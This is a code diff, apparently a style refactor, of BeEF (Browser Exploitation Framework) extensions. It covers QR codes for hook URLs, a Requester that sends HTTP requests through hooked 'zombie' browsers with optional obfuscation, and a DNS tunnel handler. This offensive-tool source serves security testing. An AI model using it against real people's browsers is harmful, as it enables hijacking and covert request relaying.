message = sprintf str, message unless message.nil? message = format str, message unless message.nil?
super(message) super(message)
end end
end end
end end
end end
end end
end end

View File

@@ -4,17 +4,15 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Qrcode module Qrcode
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'qrcode'
@full_name = 'QR Code Generator'
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
end @short_name = 'qrcode'
end @full_name = 'QR Code Generator'
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
end
end
end end
require 'extensions/qrcode/qrcode' require 'extensions/qrcode/qrcode'

View File

@@ -4,88 +4,89 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Qrcode module Qrcode
module QrcodeGenerator
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
module QrcodeGenerator def self.pre_http_start(_http_hook_server)
require 'uri'
require 'qr4r'
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start') fullurls = []
def self.pre_http_start(http_hook_server)
require 'uri'
require 'qr4r'
fullurls = [] # get server config
configuration = BeEF::Core::Configuration.instance
beef_proto = configuration.beef_proto
beef_host = configuration.beef_host
beef_port = configuration.beef_port
# get server config # get URLs from QR config
configuration = BeEF::Core::Configuration.instance configuration.get('beef.extension.qrcode.targets').each do |target|
beef_proto = configuration.beef_proto # absolute URLs
beef_host = configuration.beef_host if target.lines.grep(%r{^https?://}i).size.positive?
beef_port = configuration.beef_port fullurls << target
# relative URLs
else
# network interfaces
BeEF::Core::Console::Banners.interfaces.each do |int|
next if int == '0.0.0.0'
# get URLs from QR config fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
configuration.get("beef.extension.qrcode.targets").each do |target| end
# absolute URLs # beef host
if target.lines.grep(/^https?:\/\//i).size > 0 fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}" unless beef_host == '0.0.0.0'
fullurls << target end
# relative URLs
else
# network interfaces
BeEF::Core::Console::Banners.interfaces.each do |int|
next if int == "0.0.0.0"
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
end end
# beef host
unless beef_host == "0.0.0.0"
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}"
end
end
end
unless fullurls.empty? return unless fullurls.empty?
img_dir = 'extensions/qrcode/images'
begin img_dir = 'extensions/qrcode/images'
Dir.mkdir(img_dir) unless File.directory?(img_dir)
rescue
print_error "[QR] Could not create directory '#{img_dir}'"
end
data = ''
fullurls.uniq.each do |target|
fname = ('a'..'z').to_a.shuffle[0,8].join
qr_path = "#{img_dir}/#{fname}.png"
begin begin
qr = Qr4r::encode( Dir.mkdir(img_dir) unless File.directory?(img_dir)
target, qr_path, { rescue StandardError
:pixel_size => configuration.get("beef.extension.qrcode.qrsize"), print_error "[QR] Could not create directory '#{img_dir}'"
:border => configuration.get("beef.extension.qrcode.qrborder")
})
rescue
print_error "[QR] Could not write file '#{qr_path}'"
next
end end
print_debug "[QR] Wrote file '#{qr_path}'"
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/#{qr_path}", "/qrcode/#{fname}", 'png')
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
data += "- URL: #{target}\n"
# Google API
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
# QRServer.com
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
end
print_info "QR code images available:"
print_more data
end
end
end
end data = ''
end fullurls.uniq.each do |target|
fname = ('a'..'z').to_a.sample(8).join
qr_path = "#{img_dir}/#{fname}.png"
begin
Qr4r.encode(
target, qr_path, {
pixel_size: configuration.get('beef.extension.qrcode.qrsize'),
border: configuration.get('beef.extension.qrcode.qrborder')
}
)
rescue StandardError
print_error "[QR] Could not write file '#{qr_path}'"
next
end
print_debug "[QR] Wrote file '#{qr_path}'"
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/#{qr_path}", "/qrcode/#{fname}", 'png'
)
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
data += "- URL: #{target}\n"
# Google API
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
# QRServer.com
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
end
print_info 'QR code images available:'
print_more data
end
end
end
end
end end

View File

@@ -4,25 +4,25 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Requester module Requester
module RegisterHttpHandler module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
def self.mount_handler(beef_server)
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
end
end
module RegisterPreHookCallback def self.mount_handler(beef_server)
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
end
end
def self.pre_hook_send(hooked_browser, body, params, request, response) module RegisterPreHookCallback
dhook = BeEF::Extension::Requester::API::Hook.new BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
dhook.requester_run(hooked_browser, body)
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, body)
end
end
end end
end end
end end
end
end

View File

@@ -8,10 +8,8 @@ module BeEF
module Extension module Extension
module Requester module Requester
module API module API
require 'uri' require 'uri'
class Hook class Hook
include BeEF::Core::Handlers::Modules::BeEFJS include BeEF::Core::Handlers::Modules::BeEFJS
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
@@ -21,33 +19,30 @@ module BeEF
# Generate all the requests and output them to the hooked browser # Generate all the requests and output them to the hooked browser
output = [] output = []
print_debug hb.to_json print_debug hb.to_json
BeEF::Core::Models::Http.where(:hooked_browser_id => hb.session, :has_ran => "waiting").each { |h| BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
output << self.requester_parse_db_request(h) output << requester_parse_db_request(h)
} end
return if output.empty? return if output.empty?
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance ws = BeEF::Core::Websocket::Websocket.instance
if config.get("beef.extension.evasion.enable") evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
end
# TODO: antisnatchor: prevent sending "content" multiple times.
# todo antisnatchor: prevent sending "content" multiple times.
# Better leaving it after the first run, and don't send it again. # Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing. # todo antisnatchor: remove this gsub crap adding some hook packing.
# If we use WebSockets, just reply wih the component contents # If we use WebSockets, just reply wih the component contents
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('// content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com // Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file \'doc/COPYING\' for copying permission // See the file \'doc/COPYING\' for copying permission
//', "") //', '')
add_to_body output add_to_body output
if config.get("beef.extension.evasion.enable") if config.get('beef.extension.evasion.enable')
ws.send(evasion.obfuscate(content) + @body, hb.session) ws.send(evasion.obfuscate(content) + @body, hb.session)
else else
ws.send(content + @body, hb.session) ws.send(content + @body, hb.session)
@@ -64,7 +59,7 @@ module BeEF
def add_to_body(output) def add_to_body(output)
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
req = %Q{ req = %{
beef.execute(function() { beef.execute(function() {
beef.net.requester.send( beef.net.requester.send(
#{output.to_json} #{output.to_json}
@@ -72,7 +67,7 @@ module BeEF
}); });
} }
if config.get("beef.extension.evasion.enable") if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req) @body << evasion.obfuscate(req)
else else
@@ -86,7 +81,6 @@ module BeEF
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function # The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
# and finally sent to and executed by the hooked browser. # and finally sent to and executed by the hooked browser.
def requester_parse_db_request(http_db_object) def requester_parse_db_request(http_db_object)
allow_cross_domain = http_db_object.allow_cross_domain.to_s allow_cross_domain = http_db_object.allow_cross_domain.to_s
verb = http_db_object.method.upcase verb = http_db_object.method.upcase
proto = http_db_object.proto.downcase proto = http_db_object.proto.downcase
@@ -98,71 +92,65 @@ module BeEF
@host = http_db_object.domain @host = http_db_object.domain
@port = http_db_object.port @port = http_db_object.port
print_debug "http_db_object:" print_debug 'http_db_object:'
print_debug http_db_object.to_json print_debug http_db_object.to_json
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any) # @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
req_parts.each_with_index do |value, index| req_parts.each_with_index do |value, index|
if value.match(/^Content-Length:\s+(\d+)/) @content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/)
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
end
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body) @post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body)
@post_data_index = index
end
end end
#@note: add HTTP request headers to an Hash # @note: add HTTP request headers to an Hash
req_parts.each_with_index do |value, index| req_parts.each_with_index do |value, index|
if verb.eql?('POST') if verb.eql?('POST')
if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data
header_key = value.split(/: /)[0] header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1] header_value = value.split(/: /)[1]
headers[header_key] = header_value headers[header_key] = header_value
end
else
if index > 0 #only add HTTP headers, not the verb/uri/version
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
end end
elsif index.positive?
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version
end end
end end
# set default port if nil # set default port if nil
if @port.nil? if @port.nil?
if uri.to_s =~ /^https?/ @port = if uri.to_s =~ /^https?/
# absolute # absolute
(uri.match(/^https:/)) ? @port = 443 : @port = 80 uri.match(/^https:/) ? 443 : 80
else else
# relative # relative
(proto.eql?('https')) ? @port = 443 : @port = 80 proto.eql?('https') ? 443 : 80
end end
end end
# Build request # Build request
http_request_object = { http_request_object = {
'id' => http_db_object.id, 'id' => http_db_object.id,
'method' => verb, 'method' => verb,
'proto' => proto, 'proto' => proto,
'host' => @host, 'host' => @host,
'port' => @port, 'port' => @port,
'uri' => uri, 'uri' => uri,
'headers' => headers, 'headers' => headers,
'allowCrossDomain' => allow_cross_domain 'allowCrossDomain' => allow_cross_domain
} }
# Add POST request data # Add POST request data
if not @content_length.nil? and @content_length > 0 if !@content_length.nil? && @content_length.positive?
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length) post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
@post_data = post_data_sliced.join @post_data = post_data_sliced.join
http_request_object['data'] = @post_data http_request_object['data'] = @post_data
end end
#@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send # @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
headers.keys.each { |key| http_request_object['headers'][key] = headers[key] } headers.each_key { |key| http_request_object['headers'][key] = headers[key] }
print_debug "result http_request_object" print_debug 'result http_request_object'
print_debug http_request_object.to_json print_debug http_request_object.to_json
http_request_object http_request_object

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Requester module Requester
end
end end
end
end end
require 'extensions/requester/models/http' require 'extensions/requester/models/http'

View File

@@ -6,12 +6,10 @@
module BeEF module BeEF
module Extension module Extension
module Requester module Requester
# #
# The http handler that manages the Requester. # The http handler that manages the Requester.
# #
class Handler class Handler
H = BeEF::Core::Models::Http H = BeEF::Core::Models::Http
Z = BeEF::Core::Models::HookedBrowser Z = BeEF::Core::Models::HookedBrowser
@@ -24,39 +22,48 @@ module BeEF
# validates the hook token # validates the hook token
beef_hook = @data['beefhook'] || nil beef_hook = @data['beefhook'] || nil
if beef_hook.nil? if beef_hook.nil?
print_error "beefhook is null" print_error 'beefhook is null'
return return
end end
# validates the request id # validates the request id
request_id = @data['cid'].to_s request_id = @data['cid'].to_s
if request_id == '' if request_id == ''
print_error "Original request id (command id) is null" print_error 'Original request id (command id) is null'
return return
end end
if !BeEF::Filters::nums_only?(request_id) unless BeEF::Filters.nums_only?(request_id)
print_error "Original request id (command id) is invalid" print_error 'Original request id (command id) is invalid'
return return
end end
# validates that a hooked browser with the beef_hook token exists in the db # validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.where(:session => beef_hook).first || nil zombie_db = Z.where(session: beef_hook).first || nil
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? if zombie_db.nil?
(print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'
return)
end
# validates that we have such a http request saved in the db # validates that we have such a http request saved in the db
http_db = H.where(:id => request_id.to_i, :hooked_browser_id => zombie_db.session).first || nil http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil
if http_db.nil? if http_db.nil?
print_error "Invalid http_db: no such request found in the database" print_error 'Invalid http_db: no such request found in the database'
return return
end end
# validates that the http request has not been run before # validates that the http request has not been run before
(print_error "This http request has been saved before";return) if http_db.has_ran.eql? "complete" if http_db.has_ran.eql? 'complete'
(print_error 'This http request has been saved before'
return)
end
# validates the response code # validates the response code
response_code = @data['results']['response_status_code'] || nil response_code = @data['results']['response_status_code'] || nil
(print_error "Http response code is null";return) if response_code.nil? if response_code.nil?
(print_error 'Http response code is null'
return)
end
# save the results in the database # save the results in the database
http_db.response_headers = @data['results']['response_headers'] http_db.response_headers = @data['results']['response_headers']
@@ -65,13 +72,11 @@ module BeEF
http_db.response_port_status = @data['results']['response_port_status'] http_db.response_port_status = @data['results']['response_port_status']
http_db.response_data = @data['results']['response_data'] http_db.response_data = @data['results']['response_data']
http_db.response_date = Time.now http_db.response_date = Time.now
http_db.has_ran = "complete" http_db.has_ran = 'complete'
# Store images as binary # Store images as binary
# see issue https://github.com/beefproject/beef/issues/449 # see issue https://github.com/beefproject/beef/issues/449
if http_db.response_headers =~ /Content-Type: image/ http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/
http_db.response_data = http_db.response_data.unpack('a*')
end
http_db.save http_db.save
end end

View File

@@ -4,23 +4,28 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
module Models module Models
# #
# Table stores the http requests and responses from the requester. # Table stores the http requests and responses from the requester.
# #
class Http < BeEF::Core::Model class Http < BeEF::Core::Model
#
# # Removes a request/response from the data store
# Removes a request/response from the data store #
# def self.delete(id)
def self.delete(id) if id.to_s !~ /\A\d+\z/
(print_error "Failed to remove response. Invalid response ID."; return) if id.to_s !~ /\A\d+\z/ (print_error 'Failed to remove response. Invalid response ID.'
r = BeEF::Core::Models::Http.find(id.to_i) return)
(print_error "Failed to remove response [id: #{id}]. Response does not exist."; return) if r.nil? end
r.destroy r = BeEF::Core::Models::Http.find(id.to_i)
if r.nil?
(print_error "Failed to remove response [id: #{id}]. Response does not exist."
return)
end
r.destroy
end
end
end end
end end
end end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF module BeEF
module Extension module Extension
module Requester module Requester
# This class handles the routing of RESTful API requests for the requester # This class handles the routing of RESTful API requests for the requester
class RequesterRest < BeEF::Core::Router::Router class RequesterRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing # Filters out bad requests before performing any routing
before do before do
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
@@ -29,264 +27,233 @@ module BeEF
# Returns a request by ID # Returns a request by ID
get '/request/:id' do get '/request/:id' do
begin id = params[:id]
id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
requests = H.find(id) requests = H.find(id)
halt 404 if requests.nil? halt 404 if requests.nil?
result = {} result = {}
result[:count] = requests.length result[:count] = requests.length
result[:requests] = [] result[:requests] = []
requests.each do |request| requests.each do |request|
result[:requests] << request2hash(request) result[:requests] << request2hash(request)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
halt 500
end end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
halt 500
end end
# Returns all requestes given a specific hooked browser id # Returns all requestes given a specific hooked browser id
get '/requests/:id' do get '/requests/:id' do
begin id = params[:id]
id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
requests = H.where(:hooked_browser_id => id) requests = H.where(hooked_browser_id: id)
halt 404 if requests.nil? halt 404 if requests.nil?
result = {} result = {}
result[:count] = requests.length result[:count] = requests.length
result[:requests] = [] result[:requests] = []
requests.each do |request| requests.each do |request|
result[:requests] << request2hash(request) result[:requests] << request2hash(request)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
# Return a response by ID # Return a response by ID
get '/response/:id' do get '/response/:id' do
begin # super debugging
# super debugging error = {}
error = {} error[:code] = 0
error[:code]=0 id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
id = params[:id] error[:code] = 1
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
error[:code]=1
responses = H.find(id) || nil responses = H.find(id) || nil
error[:code]=2 error[:code] = 2
halt 404 if responses.nil? halt 404 if responses.nil?
error[:code]=3 error[:code] = 3
result = {} result = {}
result[:success] = 'true' result[:success] = 'true'
error[:code]=4 error[:code] = 4
result[:result] = response2hash(responses) result[:result] = response2hash(responses)
error[:code]=5 error[:code] = 5
result.to_json result.to_json
rescue InvalidParamError => e rescue InvalidParamError => e
print_error e.message print_error e.message
halt 400 halt 400
rescue StandardError => e rescue StandardError => e
print_error "Internal error while retrieving response with id #{id} (#{e.message})" print_error "Internal error while retrieving response with id #{id} (#{e.message})"
error[:id] = id error[:id] = id
error[:message] = e.message error[:message] = e.message
error.to_json error.to_json
# halt 500 # halt 500
end
end end
# Deletes a specific response given its id # Deletes a specific response given its id
delete '/response/:id' do delete '/response/:id' do
begin id = params[:id]
id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
responses = H.find(id) || nil responses = H.find(id) || nil
halt 404 if responses.nil? halt 404 if responses.nil?
result = {} result = {}
result['success'] = H.delete(id) result['success'] = H.delete(id)
result.to_json result.to_json
rescue InvalidParamError => e rescue InvalidParamError => e
print_error e.message print_error e.message
halt 400 halt 400
rescue StandardError => e rescue StandardError => e
print_error "Internal error while removing response with id #{id} (#{e.message})" print_error "Internal error while removing response with id #{id} (#{e.message})"
halt 500 halt 500
end
end end
# Send a new HTTP request to the hooked browser # Send a new HTTP request to the hooked browser
post '/send/:id' do post '/send/:id' do
begin id = params[:id]
id = params[:id] proto = params[:proto].to_s || 'http'
proto = params[:proto].to_s || 'http' raw_request = params['raw_request'].to_s
raw_request = params['raw_request'].to_s
zombie = HB.where(:session => id).first || nil zombie = HB.where(session: id).first || nil
halt 404 if zombie.nil? halt 404 if zombie.nil?
# @TODO: move most of this to the model
raise InvalidParamError, 'raw_request' if raw_request == ''
# @TODO: move most of this to the model raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\Ahttps?\z/
if raw_request == '' req_parts = raw_request.split(/ |\n/)
raise InvalidParamError, 'raw_request'
end
if proto !~ /\Ahttps?\z/ verb = req_parts[0]
raise InvalidParamError, 'raw_request: Invalid request URL scheme' raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb)
end
req_parts = raw_request.split(/ |\n/) uri = req_parts[1]
raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri)
verb = req_parts[0] version = req_parts[2]
if not BeEF::Filters.is_valid_verb?(verb) raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version)
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported'
end
uri = req_parts[1] host_str = req_parts[3]
if not BeEF::Filters.is_valid_url?(uri) raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str)
raise InvalidParamError, 'raw_request: Invalid URI'
end
version = req_parts[2] # Validate target hsot
if not BeEF::Filters.is_valid_http_version?(version) host = req_parts[4]
raise InvalidParamError, 'raw_request: Invalid HTTP version' host_parts = host.split(/:/)
end host_name = host_parts[0]
host_port = host_parts[1] || nil
host_str = req_parts[3] raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name)
if not BeEF::Filters.is_valid_host_str?(host_str)
raise InvalidParamError, 'raw_request: Invalid HTTP version'
end
# Validate target hsot host_port = host_parts[1] || nil
host = req_parts[4] if host_port.nil? || !BeEF::Filters.nums_only?(host_port)
host_parts = host.split(/:/) host_port = proto.eql?('https') ? 443 : 80
host_name = host_parts[0]
host_port = host_parts[1] || nil
unless BeEF::Filters.is_valid_hostname?(host_name)
raise InvalidParamError, 'raw_request: Invalid HTTP HostName'
end
host_port = host_parts[1] || nil
if host_port.nil? || !BeEF::Filters::nums_only?(host_port)
host_port = proto.eql?('https') ? 443 : 80
end
# Save the new HTTP request
http = H.new(
:hooked_browser_id => zombie.session,
:request => raw_request,
:method => verb,
:proto => proto,
:domain => host_name,
:port => host_port,
:path => uri,
:request_date => Time.now,
:allow_cross_domain => "true",
)
print_debug "added new http request for #{zombie.session}"
print_debug http.to_json
if verb.eql?('POST') || verb.eql?('PUT')
req_parts.each_with_index do |value, index|
if value.match(/^Content-Length/i)
http.content_length = req_parts[index+1]
end
end
end
http.save
result = request2hash(http)
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
#result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
end end
# Save the new HTTP request
http = H.new(
hooked_browser_id: zombie.session,
request: raw_request,
method: verb,
proto: proto,
domain: host_name,
port: host_port,
path: uri,
request_date: Time.now,
allow_cross_domain: 'true'
)
print_debug "added new http request for #{zombie.session}"
print_debug http.to_json
if verb.eql?('POST') || verb.eql?('PUT')
req_parts.each_with_index do |value, index|
http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i)
end
end
http.save
result = request2hash(http)
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
# result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
end end
# Convert a request object to Hash # Convert a request object to Hash
def request2hash(http) def request2hash(http)
{ {
:id => http.id, id: http.id,
:proto => http.proto, proto: http.proto,
:domain => http.domain, domain: http.domain,
:port => http.port, port: http.port,
:path => http.path, path: http.path,
:has_ran => http.has_ran, has_ran: http.has_ran,
:method => http.method, method: http.method,
:request_date => http.request_date, request_date: http.request_date,
:response_date => http.response_date, response_date: http.response_date,
:response_status_code => http.response_status_code, response_status_code: http.response_status_code,
:response_status_text => http.response_status_text, response_status_text: http.response_status_text,
:response_port_status => http.response_port_status response_port_status: http.response_port_status
} }
end end
# Convert a response object to Hash # Convert a response object to Hash
def response2hash(http) def response2hash(http)
response_data = ''
response_data = "" if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K
response_data = http.response_data[0..(1024 * 100)]
if not http.response_data.nil? response_data += "\n<---------- Response Data Truncated---------->"
if http.response_data.length > (1024 * 100) # more thank 100K
response_data = http.response_data[0..(1024*100)]
response_data += "\n<---------- Response Data Truncated---------->"
end
end end
response_headers = "" response_headers = ''
response_headers = http.response_headers if not http.response_headers.nil? response_headers = http.response_headers unless http.response_headers.nil?
{ {
:id => http.id, id: http.id,
:request => http.request.force_encoding('UTF-8'), request: http.request.force_encoding('UTF-8'),
:response => response_data.force_encoding('UTF-8'), response: response_data.force_encoding('UTF-8'),
:response_headers => response_headers.force_encoding('UTF-8'), response_headers: response_headers.force_encoding('UTF-8'),
:proto => http.proto.force_encoding('UTF-8'), proto: http.proto.force_encoding('UTF-8'),
:domain => http.domain.force_encoding('UTF-8'), domain: http.domain.force_encoding('UTF-8'),
:port => http.port.force_encoding('UTF-8'), port: http.port.force_encoding('UTF-8'),
:path => http.path.force_encoding('UTF-8'), path: http.path.force_encoding('UTF-8'),
:date => http.request_date, date: http.request_date,
:has_ran => http.has_ran.force_encoding('UTF-8') has_ran: http.has_ran.force_encoding('UTF-8')
} }
end end
# Raised when invalid JSON input is passed to an /api/requester handler. # Raised when invalid JSON input is passed to an /api/requester handler.
class InvalidJsonError < StandardError class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler' DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
@@ -295,11 +262,11 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/requester handler. # Raised when an invalid named parameter is passed to an /api/requester handler.
class InvalidParamError < StandardError class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler' DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze
def initialize(message = nil) def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/requester handler" str = 'Invalid "%s" parameter passed to /api/requester handler'
message = sprintf str, message unless message.nil? message = format str, message unless message.nil?
super(message) super(message)
end end
end end

View File

@@ -7,37 +7,33 @@ module BeEF
module Extension module Extension
module ServerClientDnsTunnel module ServerClientDnsTunnel
module API module API
module ServerClientDnsTunnelHandler module ServerClientDnsTunnelHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, BeEF::API::Server, 'pre_http_start')
BeEF::API::Server, 'pre_http_start' ) BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Server, 'mount_handler' )
# Starts the S2C DNS Tunnel server at BeEF startup. # Starts the S2C DNS Tunnel server at BeEF startup.
# @param http_hook_server [BeEF::Core::Server] HTTP server instance # @param http_hook_server [BeEF::Core::Server] HTTP server instance
